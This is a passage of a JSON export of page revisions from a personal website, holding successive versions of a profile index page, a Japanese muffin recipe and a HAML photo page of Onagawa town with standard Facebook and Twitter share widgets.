\r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)","created_at":"2011-01-29T02:25:33.000Z","updated_at":"2011-01-29T02:25:33.000Z"},{"id":1486,"name":"others","body":"## ssig33.com other contents\r\n[Please](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Blog(old)](/blog)\r\n\r\n\u003chr /\u003e\r\n[back to the top](/)","created_at":"2011-02-07T07:21:56.000Z","updated_at":"2011-02-07T07:21:56.000Z"},{"id":1487,"name":"Muffin_for_yumeko","body":"# 醤油をどばっと入れてしまうような料理の下手な yumeko さんでも出来る!!!マフィンの作り方\r\n\r\n## 材料(3 個分)\r\nバター 50g、砂糖 50g、卵 1、牛乳 大匙 2、薄力粉 100g、ベーキングパウダー小匙 1、板チョコ 1/2、くるみ適量\r\n\r\n## やること\r\n1. バターと砂糖を湯煎しながら混ぜる(**これとても重要、温めながら混ぜろ!!**)\r\n2. よくまざったら卵を入れてさらに混ぜる(この時はもう温めない)\r\n3. 薄力粉、ベーキングパウダーをいれて混ぜる\r\n4. 牛乳を大匙 1 入れて混ぜる。混ざったらもう一回同じように牛乳を入れて混ぜる\r\n5. くるみを適切なサイズに砕いて投入、混ぜる\r\n6. チョコレートも砕いて投入、混ぜる\r\n7. カップに 7 割ぐらい上記の生地を入れる\r\n8. 190 度に余熱したオーブンで 20 分焼く\r\n\r\n## ポイント\r\nバターと砂糖を混ぜる時は絶対温めろ!!!","created_at":"2011-02-14T01:24:27.000Z","updated_at":"2011-02-14T01:24:27.000Z"},{"id":1488,"name":"Muffin_for_yumeko","body":"# 醤油をどばっと入れてしまうような料理の下手な yumeko さんでも出来る!!!マフィンの作り方\r\n\r\n## 材料(3 個分)\r\nバター 50g、砂糖 50g、卵 1、牛乳 大匙 2、薄力粉 100g、ベーキングパウダー小匙 1、板チョコ 1/2、くるみ適量\r\n\r\n## やること\r\n1. バターと砂糖を湯煎しながら混ぜる(**これとても重要、温めながら混ぜろ!!**)\r\n2. よくまざったら卵を入れてさらに混ぜる(この時はもう温めない)\r\n3. 薄力粉、ベーキングパウダーをいれて混ぜる\r\n4. 牛乳を大匙 1 入れて混ぜる。混ざったらもう一回同じように牛乳を入れて混ぜる\r\n5. くるみを適切なサイズに砕いて投入、混ぜる\r\n6. チョコレートも砕いて投入、混ぜる\r\n7. カップに 7 割ぐらい上記の生地を入れる\r\n8. 190 度に余熱したオーブンで 20 分焼く\r\n\r\n## ポイント\r\n* バターと砂糖を混ぜる時は絶対温めろ!!!\r\n* 混ぜる時は全部ゴムヘラで混ぜる","created_at":"2011-02-14T01:25:15.000Z","updated_at":"2011-02-14T01:25:15.000Z"},{"id":1489,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- English(a bit)","created_at":"2011-03-04T02:22:41.000Z","updated_at":"2011-03-04T02:22:41.000Z"},{"id":1490,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living @:** [ギークハウス西新宿](http://twitter.com/#!/ssig33/status/24135533680664576)\r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- English(a bit)","created_at":"2011-03-28T02:50:42.000Z","updated_at":"2011-03-28T02:50:42.000Z"},{"id":1491,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [ギークハウス西新宿](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- English(a bit)","created_at":"2011-03-28T02:50:53.000Z","updated_at":"2011-03-28T02:50:53.000Z"},{"id":1492,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- English(a bit)","created_at":"2011-03-28T02:51:33.000Z","updated_at":"2011-03-28T02:51:33.000Z"},{"id":1493,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho, Muromachi\r\n- English(a bit)","created_at":"2011-05-02T02:26:02.000Z","updated_at":"2011-05-02T02:26:02.000Z"},{"id":1494,"name":"index","body":"#ssig33.com\r\n\r\n## Contents\r\n[Text](http://text.ssig33.com)\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-02T02:27:04.000Z","updated_at":"2011-05-02T02:27:04.000Z"},{"id":1495,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Rolling Icon](http://icon.ssig33.com) \r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-05T11:38:59.000Z","updated_at":"2011-05-05T11:38:59.000Z"},{"id":1496,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-05T11:39:11.000Z","updated_at":"2011-05-05T11:39:11.000Z"},{"id":1497,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #photos\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:14:52.000Z","updated_at":"2011-05-10T09:14:52.000Z"},{"id":1498,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000055.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}\r\n","created_at":"2011-05-10T09:21:46.000Z","updated_at":"2011-05-10T09:21:46.000Z"},{"id":1499,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:25:50.000Z","updated_at":"2011-05-10T09:25:50.000Z"},{"id":1500,"name":"others","body":"## ssig33.com other contents\r\n[女川町の様子](/onagawa)\r\n\r\n[Please](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Blog(old)](/blog)\r\n\r\n\u003chr /\u003e\r\n[back to the top](/)","created_at":"2011-05-10T09:29:55.000Z","updated_at":"2011-05-10T09:29:55.000Z"},{"id":1501,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #social\r\n \u003ciframe allowTransparency='true' expr:src='\u0026quot;http://www.facebook.com/plugins/like.php?href=\u0026quot; + data:post.url + \u0026quot; \u0026amp;layout=button_count\u0026amp;show_faces=false\u0026amp;width=90\u0026amp;action=like\u0026amp;colorscheme=light\u0026quot;' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:90px; height:60px'/\u003e\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:30:50.000Z","updated_at":"2011-05-10T09:30:50.000Z"},{"id":1502,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #social\r\n \u003ciframe allowTransparency='true' expr:src='\u0026quot;http://www.facebook.com/plugins/like.php?href=\u0026quot; + data:post.url + \u0026quot; \u0026amp;layout=button_count\u0026amp;show_faces=false\u0026amp;width=90\u0026amp;action=like\u0026amp;colorscheme=light\u0026quot;' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:90px; height:60px'/\u003e\u003c/iframe\u003e\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:31:01.000Z","updated_at":"2011-05-10T09:31:01.000Z"},{"id":1503,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #social\r\n \u003ciframe src=\"http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fssig33.com%2Fonagawa\u0026amp;send=false\u0026amp;layout=standard\u0026amp;width=450\u0026amp;show_faces=true\u0026amp;action=like\u0026amp;colorscheme=light\u0026amp;font\u0026amp;height=80\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:450px; height:80px;\" allowTransparency=\"true\"\u003e\u003c/iframe\u003e\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:31:49.000Z","updated_at":"2011-05-10T09:31:49.000Z"},{"id":1504,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #social\r\n \u003ciframe src=\"http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fssig33.com%2Fonagawa\u0026send=false\u0026layout=standard\u0026width=450\u0026show_faces=true\u0026action=like\u0026colorscheme=light\u0026font\u0026height=80\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:450px; height:80px;\" allowTransparency=\"true\"\u003e\u003c/iframe\u003e\r\n \u003ca href=\"http://twitter.com/share\" class=\"twitter-share-button\" data-count=\"horizontal\" data-via=\"ssig33\"\u003eTweet\u003c/a\u003e\u003cscript type=\"text/javascript\" src=\"http://platform.twitter.com/widgets.js\"\u003e\u003c/script\u003e\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:32:49.000Z","updated_at":"2011-05-10T09:32:49.000Z"},{"id":1505,"name":"onagawa","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - 女川町の様子\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n #head\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 女川町の様子\r\n #social\r\n \u003ciframe src=\"http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fssig33.com%2Fonagawa\u0026send=false\u0026layout=standard\u0026width=450\u0026show_faces=true\u0026action=like\u0026colorscheme=light\u0026font\u0026height=80\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:450px; height:80px;\" allowTransparency=\"true\"\u003e\u003c/iframe\u003e\r\n \u003cbr /\u003e\r\n \u003ca href=\"http://twitter.com/share\" class=\"twitter-share-button\" data-count=\"horizontal\" data-via=\"ssig33\"\u003eTweet\u003c/a\u003e\u003cscript type=\"text/javascript\" src=\"http://platform.twitter.com/widgets.js\"\u003e\u003c/script\u003e\r\n #photos\r\n %p 4/23 撮影\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000058.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000059.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000060.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000061.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000054.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000056.JPG\", :alt =\u003e \"\"}\r\n %p\r\n %img{:src =\u003e \"http://ssig33.com/images/onagawa/1000000057.JPG\", :alt =\u003e \"\"}","created_at":"2011-05-10T09:33:11.000Z","updated_at":"2011-05-10T09:33:11.000Z"},{"id":1506,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** 